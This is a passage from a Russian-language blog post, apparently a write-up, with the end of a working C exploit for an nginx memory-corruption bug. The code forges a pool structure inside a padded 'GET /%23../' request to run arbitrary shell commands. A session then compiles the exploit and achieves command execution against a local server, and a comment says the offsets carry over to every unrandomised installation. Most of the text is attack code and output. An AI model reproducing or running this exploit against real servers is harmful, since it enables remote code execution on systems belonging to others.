	bodylen = sizeof(pool) + sizeof(cleanup) + cmdlen;
	bodylen *= 3;
	if ((s = malloc(bodylen)) == NULL)
		err(1, "malloc");

	/*
	 * Собираем тело запроса из кусочков, на забывая делать URL
	 * кодирование для непечатных символов и пробелов.
	 */
	p = s;
	p = copyencode(p, (unsigned char *)&pool, sizeof(pool));
	p = copyencode(p, (unsigned char *)&cleanup, sizeof(cleanup));
	p = copyencode(p, (unsigned char *)cmd, cmdlen);
	*p = '\0';
	bodylen = strlen(s);

	printf("GET /%%23../");

	/*
	 * Добавляем в начало нужное количество символов, чтобы фальшивая
	 * структура pool встала точно на место настоящей.
	 */
	i = headlen = OFFSET_POOL - OFFSET_HTTP - strlen("HTTP/");
	while (i--)
		putchar('A');

	printf("%s", s);

	/*
	 * Добавляем в конец такое количество символов, чтобы весь запрос
	 * был точно TOTLEN байт. Это важно, так как от TOTLEN зависят
	 * вычисленные смещения.
	 */
	i = tailen = TOTLEN - headlen - bodylen;
	while (i--)
		putchar('A');

	printf(" HTTP/1.0\n\n");

	return 0;
}
 

Перезапускаем nginx и проверяем.

$ cc -Wall -o ngx ngx.c
$ echo -e "GET /%23../ HTTP/1.0\n\n" | nc localhost 8080
$ ./ngx 0xb7c00000 0xb7db3eb0 "touch /tmp/lala" | nc localhost 8080
$ ls -l /tmp/lala
-rw-r--r-- 1 grange grange 0 2010-09-29 18:58 /tmp/lala

Сработало!

, ,




  1. Я вот чего не понял: основные параметры для атаки получаются статическими для всех экземпляров пакета, расползшихся по интернету?

    • Да, для данной комбинации версии ОС и версии пакета все должно работать на всех инсталляциях. Естественно, при отсутствии всяких защитных техник типа рандомизации в атакуемой ОС. Впрочем, есть методики обхода таких защит.